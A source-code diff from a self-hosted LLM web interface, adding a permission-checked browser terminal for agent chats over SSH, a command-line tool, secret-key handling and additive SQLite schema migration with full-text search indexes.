from lembas.security.sessions import COOKIE_NAME, resolve_session
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import session as agent_session
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.services.agent.base import ExecError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/chats", tags=["terminal"])
|
||||
|
||||
# Nothing a keyboard produces is anywhere near this. Paste is the only thing
|
||||
# that comes close, and a megabyte pasted into a shell is a mistake either way.
|
||||
MAX_INPUT_BYTES = 256 * 1024
|
||||
|
||||
# 1008 is "policy violation", the closest thing the protocol has to "no".
|
||||
CLOSE_POLICY = 1008
|
||||
|
||||
# What the far side is told when a shell ends, in words rather than a code.
|
||||
CLOSED_WORDS = {
|
||||
terminal_service.CLOSED_EXITED: "The shell exited.",
|
||||
terminal_service.CLOSED_IDLE: "This terminal was closed after sitting idle.",
|
||||
terminal_service.CLOSED_SHUTDOWN: "LLeMbas restarted, so this shell was closed.",
|
||||
terminal_service.CLOSED_REVOKED: "The connection behind this terminal was closed.",
|
||||
terminal_service.CLOSED_ERROR: "The connection to the machine was lost.",
|
||||
}
|
||||
|
||||
|
||||
def _same_origin(websocket: WebSocket) -> bool:
|
||||
"""Whether this handshake came from a page served by this site.
|
||||
|
||||
Required, not merely checked when present. The session cookie is SameSite
|
||||
Lax, which already withholds it from a handshake a foreign page starts, and
|
||||
this is the belt to that brace -- an absent Origin is not a browser, and a
|
||||
non-browser client has no business here.
|
||||
"""
|
||||
origin = websocket.headers.get("origin")
|
||||
host = websocket.headers.get("host")
|
||||
if not origin or not host:
|
||||
return False
|
||||
return urlsplit(origin).netloc.lower() == host.lower()
|
||||
|
||||
|
||||
def _prepare(db, user, chat_id: str) -> tuple[str, dict]:
|
||||
"""Everything that has to be true, and what opening needs. One or the other.
|
||||
|
||||
Returns a message to show, or the arguments for `open_session`. The order is
|
||||
the order somebody would ask the questions in, and every "no" is a sentence
|
||||
rather than a silence.
|
||||
"""
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
return "You do not have permission to open a terminal.", {}
|
||||
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
return "That chat no longer exists.", {}
|
||||
if chat.kind != KIND_AGENT:
|
||||
return "This is an ordinary chat, so it has no machine to open a shell on.", {}
|
||||
|
||||
values = settings_store.agents(db)
|
||||
if not values.get("terminal_enabled", True):
|
||||
return "The terminal is switched off on this instance.", {}
|
||||
|
||||
context = agent_session.resolve(db, chat, user)
|
||||
if context is None:
|
||||
return (
|
||||
"This chat's connection is not usable: it may have been deleted, "
|
||||
"disabled, or agent chats may be switched off here.",
|
||||
{},
|
||||
)
|
||||
|
||||
return "", {
|
||||
"owner_id": user.id,
|
||||
"profile_id": chat.ssh_profile_id or "",
|
||||
"label": context.label,
|
||||
"spec": context.spec,
|
||||
"project_dir": context.project_dir,
|
||||
"idle_timeout": float(values["terminal_idle_timeout"]),
|
||||
"max_sessions": int(values["terminal_max_sessions"]),
|
||||
"max_per_user": int(values["terminal_max_per_user"]),
|
||||
"integrate": bool(values.get("terminal_integration", True)),
|
||||
}
|
||||
|
||||
|
||||
@router.websocket("/{chat_id}/terminal/ws")
|
||||
async def terminal_socket(
|
||||
websocket: WebSocket,
|
||||
chat_id: str,
|
||||
cols: int = 80,
|
||||
rows: int = 24,
|
||||
) -> None:
|
||||
if not _same_origin(websocket):
|
||||
await websocket.close(code=CLOSE_POLICY)
|
||||
return
|
||||
|
||||
with session_scope() as db:
|
||||
user = resolve_session(db, websocket.cookies.get(COOKIE_NAME))
|
||||
if user is None:
|
||||
await websocket.close(code=CLOSE_POLICY)
|
||||
return
|
||||
problem, opening = _prepare(db, user, chat_id)
|
||||
owner_email = user.email
|
||||
|
||||
await websocket.accept()
|
||||
if problem:
|
||||
await _refuse(websocket, problem)
|
||||
return
|
||||
|
||||
try:
|
||||
session = await terminal_service.open_session(chat_id, cols=cols, rows=rows, **opening)
|
||||
except ExecError as exc:
|
||||
await _refuse(websocket, str(exc))
|
||||
return
|
||||
except Exception: # noqa: BLE001 - a failure here is one socket, not the app
|
||||
log.exception("could not open a terminal for %s", owner_email)
|
||||
await _refuse(websocket, "The shell could not be started.")
|
||||
return
|
||||
|
||||
# Shaping a frame is this layer's job, not the session's; the session only
|
||||
# knows it finished something. Reassigned per socket and harmless: every
|
||||
# socket on this session would build the identical frame.
|
||||
session.on_command = lambda found: session.announce(
|
||||
json.dumps({"t": "command", "command": _command_frame(found)})
|
||||
)
|
||||
|
||||
viewer = session.attach(cols, rows)
|
||||
await websocket.send_text(
|
||||
json.dumps(
|
||||
{
|
||||
"t": "ready",
|
||||
"label": session.label,
|
||||
"dir": session.project_dir,
|
||||
"cols": session.cols,
|
||||
"rows": session.rows,
|
||||
# Two tabs share one shell, and a size neither of them chose is
|
||||
# otherwise a mystery.
|
||||
"shared": len(session.viewers) > 1,
|
||||
# Whether this shell will tell us where commands begin and end,
|
||||
# which is what the Copy and Send buttons are made of.
|
||||
"integration": session.integration,
|
||||
"last": _command_frame(session.latest()),
|
||||
}
|
||||
)
|
||||
)
|
||||
if viewer.snapshot:
|
||||
await websocket.send_bytes(viewer.snapshot)
|
||||
|
||||
downward = asyncio.create_task(_to_browser(websocket, session, viewer))
|
||||
upward = asyncio.create_task(_from_browser(websocket, session, viewer))
|
||||
try:
|
||||
await asyncio.wait({downward, upward}, return_when=asyncio.FIRST_COMPLETED)
|
||||
finally:
|
||||
for task in (downward, upward):
|
||||
task.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await task
|
||||
# The session is deliberately left running. Closing the panel, or
|
||||
# navigating away, is not "I am finished with this machine" -- a build
|
||||
# carries on and the scrollback is still there on the way back. The
|
||||
# idle timeout is what eventually ends it.
|
||||
session.detach(viewer)
|
||||
|
||||
|
||||
@router.get("/{chat_id}/terminal/last")
|
||||
async def last_command(db: Db, user: RequiredUser, chat_id: str) -> dict:
|
||||
"""The last command and its output, rendered ready to paste.
|
||||
|
||||
The *server* renders the text, so Copy and Send are a fetch and a
|
||||
clipboard write with no formatting logic in the browser -- and the block a
|
||||
model eventually reads exists in exactly one place. The panel's own screen
|
||||
buffer could not produce it anyway: it holds what is on screen, hard-wrapped
|
||||
at the terminal's width, with no way to tell a wrap from a newline.
|
||||
"""
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot open a terminal.")
|
||||
|
||||
session = terminal_service.get(chat_id)
|
||||
found = session.latest() if session is not None else None
|
||||
if session is None or found is None:
|
||||
return {
|
||||
"ok": False,
|
||||
"message": "Nothing has been run in this shell yet."
|
||||
if session is not None
|
||||
else "This terminal is not open.",
|
||||
}
|
||||
|
||||
return {
|
||||
"ok": True,
|
||||
"command": found.command,
|
||||
"cwd": found.cwd,
|
||||
"exit": found.exit_status,
|
||||
"running": found.running,
|
||||
"summary": found.summary(),
|
||||
"text": found.as_text(label=session.label),
|
||||
}
|
||||
|
||||
|
||||
def _command_frame(found) -> dict | None:
|
||||
"""A finished command, small enough to push at every viewer.
|
||||
|
||||
Tens of bytes, and deliberately *not* the output: a 64KB text frame would
|
||||
compete with PTY bytes on the one path that has to stay responsive, and the
|
||||
two buttons are pressed by a person, where a request is the natural shape.
|
||||
"""
|
||||
if found is None:
|
||||
return None
|
||||
return {
|
||||
"seq": found.seq,
|
||||
"command": found.command,
|
||||
"cwd": found.cwd,
|
||||
"exit": found.exit_status,
|
||||
"running": found.running,
|
||||
"ms": found.duration_ms,
|
||||
"summary": found.summary(),
|
||||
}
|
||||
|
||||
|
||||
async def _to_browser(websocket: WebSocket, session, viewer) -> None:
|
||||
"""Everything the shell says, plus the one frame that says it stopped."""
|
||||
while True:
|
||||
chunk = await viewer.queue.get()
|
||||
if chunk is None:
|
||||
reason = terminal_service.CLOSED_EXITED if viewer.dropped else session.closed_reason
|
||||
payload = {"t": "closed", "reason": reason, "message": _words(reason)}
|
||||
if viewer.dropped:
|
||||
# Not the session's doing: this browser stopped reading and was
|
||||
# disconnected so the others kept up. Reconnecting costs it
|
||||
# nothing, because the scrollback is the state.
|
||||
payload = {"t": "behind", "message": "Reconnecting: output arrived faster than "
|
||||
"this window could draw it."}
|
||||
with contextlib.suppress(Exception):
|
||||
await websocket.send_text(json.dumps(payload))
|
||||
return
|
||||
# A string in the queue is a control frame that had to keep its place
|
||||
# in the stream -- see `Session.announce`.
|
||||
if isinstance(chunk, str):
|
||||
await websocket.send_text(chunk)
|
||||
continue
|
||||
await websocket.send_bytes(chunk)
|
||||
|
||||
|
||||
async def _from_browser(websocket: WebSocket, session, viewer) -> None:
|
||||
"""Keystrokes as binary, everything else as JSON.
|
||||
|
||||
Binary for the hot path is what makes multi-byte characters safe: a read on
|
||||
the far side lands mid-sequence often enough to matter, and decoding each
|
||||
frame here would corrupt every boundary. Nothing decodes, so nothing splits.
|
||||
"""
|
||||
while True:
|
||||
try:
|
||||
message = await websocket.receive()
|
||||
except WebSocketDisconnect:
|
||||
return
|
||||
if message["type"] == "websocket.disconnect":
|
||||
return
|
||||
|
||||
data = message.get("bytes")
|
||||
if data is not None:
|
||||
if len(data) > MAX_INPUT_BYTES:
|
||||
continue
|
||||
await session.send(data)
|
||||
continue
|
||||
|
||||
text = message.get("text")
|
||||
if text:
|
||||
_control(session, viewer, text)
|
||||
|
||||
|
||||
def _control(session, viewer, text: str) -> None:
|
||||
try:
|
||||
payload = json.loads(text)
|
||||
except ValueError:
|
||||
return
|
||||
if not isinstance(payload, dict) or payload.get("t") != "resize":
|
||||
return
|
||||
session.resize(viewer, payload.get("cols", 80), payload.get("rows", 24))
|
||||
|
||||
|
||||
def _words(reason: str) -> str:
|
||||
return CLOSED_WORDS.get(reason, "This terminal closed.")
|
||||
|
||||
|
||||
async def _refuse(websocket: WebSocket, message: str) -> None:
|
||||
"""Say why, then close. Sent as a frame because a browser cannot read a
|
||||
rejected handshake -- the reason would be lost exactly when it is needed."""
|
||||
with contextlib.suppress(Exception):
|
||||
await websocket.send_text(json.dumps({"t": "error", "message": message}))
|
||||
with contextlib.suppress(Exception):
|
||||
await websocket.close()
|
||||
@@ -0,0 +1,112 @@
|
||||
"""Command line entry points."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import secrets as secrets_module
|
||||
|
||||
import typer
|
||||
import uvicorn
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas import __version__
|
||||
from lembas.config import settings
|
||||
|
||||
app = typer.Typer(
|
||||
help="LLeMbas - a Middle-earth themed web UI for your language models.",
|
||||
no_args_is_help=True,
|
||||
add_completion=False,
|
||||
)
|
||||
|
||||
|
||||
@app.command()
|
||||
def serve(
|
||||
host: str = typer.Option(None, help="Bind address. Defaults to LEMBAS_HOST."),
|
||||
port: int = typer.Option(None, help="Port. Defaults to LEMBAS_PORT."),
|
||||
reload: bool = typer.Option(None, "--reload/--no-reload", help="Autoreload on change."),
|
||||
) -> None:
|
||||
"""Run the web server."""
|
||||
uvicorn.run(
|
||||
"lembas.main:app",
|
||||
host=host or settings.host,
|
||||
port=port or settings.port,
|
||||
reload=settings.reload if reload is None else reload,
|
||||
log_level=settings.log_level,
|
||||
# Access logs duplicate what the application already logs and drown out
|
||||
# anything useful during development.
|
||||
access_log=settings.log_level == "debug",
|
||||
)
|
||||
|
||||
|
||||
@app.command("create-admin")
|
||||
def create_admin(
|
||||
email: str = typer.Option(..., prompt=True),
|
||||
name: str = typer.Option(..., prompt=True),
|
||||
password: str = typer.Option(..., prompt=True, hide_input=True, confirmation_prompt=True),
|
||||
) -> None:
|
||||
"""Create an administrator, or promote an existing account to one.
|
||||
|
||||
The web sign-up already makes the first account an admin. This is the way
|
||||
back in when that account is lost, or when scripting a deployment.
|
||||
"""
|
||||
from lembas.db.models import ROLE_ADMIN, User
|
||||
from lembas.db.session import init_db, session_scope
|
||||
from lembas.security.passwords import hash_password, validate_password
|
||||
|
||||
if (problem := validate_password(password)) is not None:
|
||||
typer.secho(problem, fg=typer.colors.RED)
|
||||
raise typer.Exit(1)
|
||||
|
||||
init_db()
|
||||
with session_scope() as db:
|
||||
existing = db.scalar(select(User).where(User.email == email.strip().lower()))
|
||||
if existing is not None:
|
||||
existing.role = ROLE_ADMIN
|
||||
existing.password_hash = hash_password(password)
|
||||
existing.active = True
|
||||
typer.secho(f"Promoted {existing.email} to administrator.", fg=typer.colors.GREEN)
|
||||
return
|
||||
|
||||
db.add(
|
||||
User(
|
||||
email=email.strip().lower(),
|
||||
name=name.strip(),
|
||||
password_hash=hash_password(password),
|
||||
role=ROLE_ADMIN,
|
||||
)
|
||||
)
|
||||
typer.secho(f"Created administrator {email}.", fg=typer.colors.GREEN)
|
||||
|
||||
|
||||
@app.command("secret-key")
|
||||
def secret_key() -> None:
|
||||
"""Print a fresh value for LEMBAS_SECRET_KEY."""
|
||||
typer.echo(secrets_module.token_urlsafe(48))
|
||||
|
||||
|
||||
@app.command()
|
||||
def info() -> None:
|
||||
"""Show where this instance keeps its data and what is configured."""
|
||||
from lembas.db.models import Chat, Connection, User
|
||||
from lembas.db.session import init_db, session_scope
|
||||
|
||||
init_db()
|
||||
typer.echo(f"LLeMbas {__version__}")
|
||||
typer.echo(f" data directory : {settings.data_dir.resolve()}")
|
||||
typer.echo(f" database : {settings.db_path.resolve()}")
|
||||
typer.echo(f" bind : {settings.host}:{settings.port}")
|
||||
typer.echo(f" default theme : {settings.default_theme}")
|
||||
typer.echo(f" signup open : {settings.allow_signup}")
|
||||
if settings.secret_key_is_ephemeral:
|
||||
typer.secho(
|
||||
" secret key : GENERATED (set LEMBAS_SECRET_KEY for a real install)",
|
||||
fg=typer.colors.YELLOW,
|
||||
)
|
||||
|
||||
with session_scope() as db:
|
||||
for label, model in (("users", User), ("connections", Connection), ("chats", Chat)):
|
||||
count = db.scalar(select(func.count()).select_from(model))
|
||||
typer.echo(f" {label:<15}: {count}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
app()
|
||||
@@ -7,7 +7,7 @@ from functools import lru_cache
|
||||
from pathlib import Path
|
||||
from typing import Literal
|
||||
|
||||
from pydantic import Field, field_validator
|
||||
from pydantic import Field, model_validator
|
||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||
|
||||
|
||||
@@ -22,6 +22,10 @@ class Settings(BaseSettings):
|
||||
)
|
||||
|
||||
secret_key: str = Field(default="")
|
||||
# Set when no LEMBAS_SECRET_KEY was supplied and one had to be invented.
|
||||
# main.py warns about it at startup; see the validator below.
|
||||
secret_key_is_ephemeral: bool = Field(default=False, exclude=True)
|
||||
|
||||
data_dir: Path = Path("./data")
|
||||
|
||||
host: str = "127.0.0.1"
|
||||
@@ -34,13 +38,15 @@ class Settings(BaseSettings):
|
||||
session_ttl: int = 60 * 60 * 24 * 30
|
||||
request_timeout: float = 300.0
|
||||
|
||||
@field_validator("secret_key")
|
||||
@classmethod
|
||||
def _generate_secret_if_absent(cls, v: str) -> str:
|
||||
# A generated key lets `lembas serve` work out of the box, but it changes
|
||||
# on every restart: sessions drop and stored API keys become unreadable.
|
||||
# main.py warns loudly about this. Never rely on it in production.
|
||||
return v or secrets.token_urlsafe(48)
|
||||
@model_validator(mode="after")
|
||||
def _generate_secret_if_absent(self) -> Settings:
|
||||
# A generated key lets `lembas serve` work with no configuration at all,
|
||||
# but it changes on every restart: sessions drop and stored API keys
|
||||
# become unreadable. Flagged so startup can warn. Never use in anger.
|
||||
if not self.secret_key:
|
||||
self.secret_key = secrets.token_urlsafe(48)
|
||||
self.secret_key_is_ephemeral = True
|
||||
return self
|
||||
|
||||
@property
|
||||
def db_path(self) -> Path:
|
||||
|
||||
@@ -0,0 +1,232 @@
|
||||
"""Additive schema synchronisation.
|
||||
|
||||
This project has no Alembic, by design: it is SQLite-only and the schema is
|
||||
created at startup. That was fine until the first live instance had data in it,
|
||||
at which point adding a column to a model stopped being free -- ``create_all``
|
||||
only creates missing *tables*, so a new column silently never appears and every
|
||||
query mentioning it fails.
|
||||
|
||||
What this module does instead is derive the migration from the models: compare
|
||||
each table's declared columns against what the database actually has, and
|
||||
``ALTER TABLE ... ADD COLUMN`` for whatever is missing. That covers new tables
|
||||
and new columns, which is essentially every schema change this project makes.
|
||||
|
||||
What it deliberately does NOT do:
|
||||
|
||||
* rename, drop or retype a column
|
||||
* add a PRIMARY KEY or UNIQUE constraint to an existing table
|
||||
* backfill anything requiring application logic
|
||||
|
||||
SQLite cannot do most of those with ALTER TABLE anyway; they need the
|
||||
create-copy-swap dance. Anything in that category is a hand-written job and
|
||||
should be added to MANUAL_STEPS below so it is at least visible.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import Engine, inspect, text
|
||||
from sqlalchemy.schema import Column, Table
|
||||
|
||||
from lembas.db.base import Base
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Schema changes that this module cannot perform. Kept as documentation so a
|
||||
# failure has somewhere to point rather than being a mystery.
|
||||
MANUAL_STEPS: list[str] = []
|
||||
|
||||
|
||||
def _literal_default(column: Column) -> str | None:
|
||||
"""A SQL literal to backfill an existing row's new column with.
|
||||
|
||||
SQLite refuses to add a NOT NULL column without a default, and refuses a
|
||||
non-constant default. Python-side defaults (``default=dict``,
|
||||
``default=utcnow``) are callables and cannot be expressed in DDL, so the
|
||||
value is derived from the column type instead. New rows still get the real
|
||||
Python default; this only fills the rows that already exist.
|
||||
"""
|
||||
default = column.default
|
||||
if default is not None and not default.is_callable and not default.is_clause_element:
|
||||
value: Any = default.arg
|
||||
if isinstance(value, bool):
|
||||
return "1" if value else "0"
|
||||
if isinstance(value, (int, float)):
|
||||
return str(value)
|
||||
if isinstance(value, str):
|
||||
escaped = value.replace("'", "''")
|
||||
return f"'{escaped}'"
|
||||
|
||||
affinity = column.type.__class__.__name__.upper()
|
||||
if "JSON" in affinity:
|
||||
# MutableList columns must start as [] and MutableDict as {}; guessing
|
||||
# wrong makes the first read blow up rather than return empty.
|
||||
python_type = getattr(column.type, "python_type", None)
|
||||
return "'[]'" if python_type is list else "'{}'"
|
||||
if "BOOL" in affinity:
|
||||
return "0"
|
||||
if any(token in affinity for token in ("INT", "FLOAT", "NUMERIC", "DECIMAL")):
|
||||
return "0"
|
||||
if "DATE" in affinity or "TIME" in affinity:
|
||||
return "CURRENT_TIMESTAMP"
|
||||
if any(token in affinity for token in ("STRING", "TEXT", "VARCHAR", "CHAR")):
|
||||
return "''"
|
||||
return None
|
||||
|
||||
|
||||
def _add_column_sql(table: Table, column: Column, dialect) -> str | None:
|
||||
type_sql = column.type.compile(dialect)
|
||||
default = _literal_default(column)
|
||||
|
||||
if not column.nullable and default is None:
|
||||
log.error(
|
||||
"cannot add NOT NULL column %s.%s: no usable default. Add it by hand.",
|
||||
table.name,
|
||||
column.name,
|
||||
)
|
||||
return None
|
||||
|
||||
parts = [f'ALTER TABLE "{table.name}" ADD COLUMN "{column.name}" {type_sql}']
|
||||
if not column.nullable:
|
||||
# SQLite refuses a NOT NULL column with no default, so existing rows
|
||||
# have to be given something. That is the only reason a default is
|
||||
# emitted at all.
|
||||
parts.append("NOT NULL")
|
||||
parts.append(f"DEFAULT {default}")
|
||||
# A nullable column gets no default on purpose. Backfilling one would give
|
||||
# existing rows a value the model does not consider absent -- an added
|
||||
# foreign key would arrive as "" rather than NULL, and every "is this set?"
|
||||
# check downstream would be wrong about rows that predate it.
|
||||
return " ".join(parts)
|
||||
|
||||
|
||||
# --- Full-text search --------------------------------------------------------
|
||||
# The library stores are searched rather than listed, and LIKE over a few
|
||||
# hundred documents ranks nothing and matches badly. SQLite ships FTS5, so the
|
||||
# index costs no dependency and works offline like everything else here.
|
||||
#
|
||||
# These are the one part of the schema this module's model-diffing cannot
|
||||
# derive: an FTS5 virtual table is not a SQLAlchemy model, has no columns to
|
||||
# compare, and needs triggers to stay in step with the table it shadows. So it
|
||||
# is written out -- but written out *idempotently*, with IF NOT EXISTS
|
||||
# throughout, which keeps it the same kind of thing as the column sync: run it
|
||||
# at every startup and it converges.
|
||||
#
|
||||
# `content=` makes each index external-content: the text is not stored twice,
|
||||
# and the triggers below are what the FTS5 documentation calls for to keep an
|
||||
# external-content index correct through updates and deletes.
|
||||
FTS_INDEXES: tuple[tuple[str, str, tuple[str, ...]], ...] = (
|
||||
("documents_fts", "documents", ("title", "description", "extracted_text")),
|
||||
("notes_fts", "notes", ("title", "body")),
|
||||
("skills_fts", "skills", ("name", "description", "body")),
|
||||
)
|
||||
|
||||
|
||||
def _fts_statements(index: str, table: str, columns: tuple[str, ...]) -> list[str]:
|
||||
# `id` rides along UNINDEXED so a match can be turned straight back into an
|
||||
# ORM row. The alternative is joining on rowid, which SQLAlchemy models do
|
||||
# not expose and which changes under VACUUM.
|
||||
columns = ("id", *columns)
|
||||
column_list = ", ".join(columns)
|
||||
declared = ", ".join(
|
||||
f"{name} UNINDEXED" if name == "id" else name for name in columns
|
||||
)
|
||||
new_values = ", ".join(f"new.{name}" for name in columns)
|
||||
old_values = ", ".join(f"old.{name}" for name in columns)
|
||||
|
||||
return [
|
||||
f"CREATE VIRTUAL TABLE IF NOT EXISTS {index} USING fts5("
|
||||
f"{declared}, content='{table}', content_rowid='rowid')",
|
||||
# 'delete' rows carry the old values because an external-content index
|
||||
# cannot look them up itself once the source row has gone.
|
||||
f"""CREATE TRIGGER IF NOT EXISTS {index}_ai AFTER INSERT ON {table} BEGIN
|
||||
INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
|
||||
END""",
|
||||
f"""CREATE TRIGGER IF NOT EXISTS {index}_ad AFTER DELETE ON {table} BEGIN
|
||||
INSERT INTO {index}({index}, rowid, {column_list})
|
||||
VALUES ('delete', old.rowid, {old_values});
|
||||
END""",
|
||||
f"""CREATE TRIGGER IF NOT EXISTS {index}_au AFTER UPDATE ON {table} BEGIN
|
||||
INSERT INTO {index}({index}, rowid, {column_list})
|
||||
VALUES ('delete', old.rowid, {old_values});
|
||||
INSERT INTO {index}(rowid, {column_list}) VALUES (new.rowid, {new_values});
|
||||
END""",
|
||||
]
|
||||
|
||||
|
||||
def ensure_fts(engine: Engine) -> list[str]:
|
||||
"""Create the search indexes and their triggers if they are missing.
|
||||
|
||||
Returns the indexes it created. A failure here is logged and swallowed:
|
||||
search degrading to "finds nothing" is bad, but it is much better than the
|
||||
application refusing to start.
|
||||
"""
|
||||
created: list[str] = []
|
||||
inspector = inspect(engine)
|
||||
known = set(inspector.get_table_names())
|
||||
|
||||
with engine.begin() as connection:
|
||||
for index, table, columns in FTS_INDEXES:
|
||||
if table not in known:
|
||||
continue
|
||||
fresh = index not in known
|
||||
for statement in _fts_statements(index, table, columns):
|
||||
connection.execute(text(statement))
|
||||
if fresh:
|
||||
# Backfill anything already in the table. Only on creation --
|
||||
# the triggers keep it current from then on.
|
||||
column_list = ", ".join(("id", *columns))
|
||||
connection.execute(
|
||||
text(
|
||||
f"INSERT INTO {index}(rowid, {column_list}) "
|
||||
f"SELECT rowid, {column_list} FROM {table}"
|
||||
)
|
||||
)
|
||||
created.append(index)
|
||||
|
||||
return created
|
||||
|
||||
|
||||
def sync_schema(engine: Engine) -> list[str]:
|
||||
"""Bring the database up to the declared schema. Returns what it changed."""
|
||||
import lembas.db.models # noqa: F401 (registers every table on the metadata)
|
||||
|
||||
changes: list[str] = []
|
||||
|
||||
inspector = inspect(engine)
|
||||
known_tables = set(inspector.get_table_names())
|
||||
for table in Base.metadata.sorted_tables:
|
||||
if table.name not in known_tables:
|
||||
changes.append(f"create table {table.name}")
|
||||
|
||||
# Creates anything missing; existing tables are left alone.
|
||||
Base.metadata.create_all(bind=engine)
|
||||
|
||||
inspector = inspect(engine)
|
||||
with engine.begin() as connection:
|
||||
for table in Base.metadata.sorted_tables:
|
||||
existing = {col["name"] for col in inspector.get_columns(table.name)}
|
||||
for column in table.columns:
|
||||
if column.name in existing:
|
||||
continue
|
||||
statement = _add_column_sql(table, column, engine.dialect)
|
||||
if statement is None:
|
||||
continue
|
||||
connection.execute(text(statement))
|
||||
changes.append(f"add column {table.name}.{column.name}")
|
||||
log.info("schema: %s", statement)
|
||||
|
||||
try:
|
||||
for index in ensure_fts(engine):
|
||||
changes.append(f"create search index {index}")
|
||||
except Exception: # noqa: BLE001 - search is not worth refusing to start over
|
||||
log.exception("could not create the full-text search indexes")
|
||||
|
||||
if changes:
|
||||
log.info("schema synchronised: %d change(s)", len(changes))
|
||||
for step in MANUAL_STEPS:
|
||||
log.warning("manual schema step still required: %s", step)
|
||||
|
||||
return changes
|
||||
@@ -5,7 +5,22 @@ what ``init_db()`` relies on to create the schema at startup. Any new model
|
||||
module must be imported here or its table will silently never be created.
|
||||
"""
|
||||
|
||||
from lembas.db.models.agent import (
|
||||
AUTH_KEY,
|
||||
AUTH_METHODS,
|
||||
AUTH_PASSWORD,
|
||||
SshProfile,
|
||||
)
|
||||
from lembas.db.models.attachment import (
|
||||
KIND_DOCUMENT,
|
||||
KIND_IMAGE,
|
||||
KIND_TEXT,
|
||||
Attachment,
|
||||
)
|
||||
from lembas.db.models.chat import (
|
||||
KIND_AGENT,
|
||||
KIND_CHAT,
|
||||
KINDS,
|
||||
ROLE_ASSISTANT,
|
||||
ROLE_SYSTEM,
|
||||
ROLE_TOOL,
|
||||
@@ -14,8 +29,43 @@ from lembas.db.models.chat import (
|
||||
Folder,
|
||||
Message,
|
||||
)
|
||||
from lembas.db.models.connection import Connection, Model
|
||||
from lembas.db.models.connection import Connection, Model, model_groups
|
||||
from lembas.db.models.library import (
|
||||
AUTHOR_MODEL,
|
||||
AUTHOR_USER,
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
RESOURCE_BASE,
|
||||
RESOURCE_NOTE,
|
||||
RESOURCE_SKILL,
|
||||
SOURCE_LINK,
|
||||
SOURCE_UPLOAD,
|
||||
Document,
|
||||
KnowledgeBase,
|
||||
Memory,
|
||||
Note,
|
||||
Share,
|
||||
Skill,
|
||||
SkillRevision,
|
||||
chat_knowledge_bases,
|
||||
)
|
||||
from lembas.db.models.setting import Setting
|
||||
from lembas.db.models.suggestion import Suggestion
|
||||
from lembas.db.models.tool import (
|
||||
RESPONSE_JSON,
|
||||
RESPONSE_MODES,
|
||||
RESPONSE_RAW,
|
||||
RESPONSE_TEXT,
|
||||
SECRET_BEARER,
|
||||
SECRET_HEADER,
|
||||
SECRET_NONE,
|
||||
SECRET_PLACEMENTS,
|
||||
SECRET_QUERY,
|
||||
CustomTool,
|
||||
McpServer,
|
||||
custom_tool_groups,
|
||||
mcp_server_groups,
|
||||
)
|
||||
from lembas.db.models.user import (
|
||||
ROLE_ADMIN,
|
||||
ROLE_PENDING,
|
||||
@@ -26,20 +76,63 @@ from lembas.db.models.user import (
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"AUTHOR_MODEL",
|
||||
"AUTH_KEY",
|
||||
"AUTH_METHODS",
|
||||
"AUTH_PASSWORD",
|
||||
"AUTHOR_USER",
|
||||
"Attachment",
|
||||
"KINDS",
|
||||
"KIND_AGENT",
|
||||
"KIND_CHAT",
|
||||
"KIND_DOCUMENT",
|
||||
"KIND_IMAGE",
|
||||
"KIND_TEXT",
|
||||
"PRINCIPAL_GROUP",
|
||||
"PRINCIPAL_USER",
|
||||
"RESOURCE_BASE",
|
||||
"RESOURCE_NOTE",
|
||||
"RESOURCE_SKILL",
|
||||
"RESPONSE_JSON",
|
||||
"RESPONSE_MODES",
|
||||
"RESPONSE_RAW",
|
||||
"RESPONSE_TEXT",
|
||||
"ROLE_ADMIN",
|
||||
"ROLE_ASSISTANT",
|
||||
"ROLE_PENDING",
|
||||
"ROLE_SYSTEM",
|
||||
"ROLE_TOOL",
|
||||
"ROLE_USER",
|
||||
"SECRET_BEARER",
|
||||
"SECRET_HEADER",
|
||||
"SECRET_NONE",
|
||||
"SECRET_PLACEMENTS",
|
||||
"SECRET_QUERY",
|
||||
"SOURCE_LINK",
|
||||
"SOURCE_UPLOAD",
|
||||
"Chat",
|
||||
"Connection",
|
||||
"CustomTool",
|
||||
"Document",
|
||||
"Folder",
|
||||
"Group",
|
||||
"KnowledgeBase",
|
||||
"McpServer",
|
||||
"Memory",
|
||||
"Message",
|
||||
"Model",
|
||||
"Note",
|
||||
"Session",
|
||||
"Setting",
|
||||
"Share",
|
||||
"Skill",
|
||||
"SshProfile",
|
||||
"SkillRevision",
|
||||
"Suggestion",
|
||||
"User",
|
||||
"chat_knowledge_bases",
|
||||
"custom_tool_groups",
|
||||
"mcp_server_groups",
|
||||
"model_groups",
|
||||
"user_groups",
|
||||
]
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
"""SSH connections an agent chat can act through.
|
||||
|
||||
User-owned, like a `Note` and unlike a `Connection`. That is the opposite of
|
||||
the rule custom tools and MCP servers follow, and the difference is the point:
|
||||
those are instance configuration an administrator could grant themselves in one
|
||||
click anyway, while this is somebody's own machine and somebody's own key.
|
||||
"Anyone in this group may log in to my server" is a different feature with a
|
||||
different blast radius.
|
||||
|
||||
`services/sharing.py` is deliberately not involved either. Sharing grants
|
||||
reading, and a host somebody else can read is a host they can log in to.
|
||||
|
||||
**Nothing an agent does runs on the LLeMbas machine.** A local sandbox was
|
||||
designed and dropped: every hard problem in it came from executing on the host
|
||||
that holds the database and the encryption key. Over SSH, isolation is whatever
|
||||
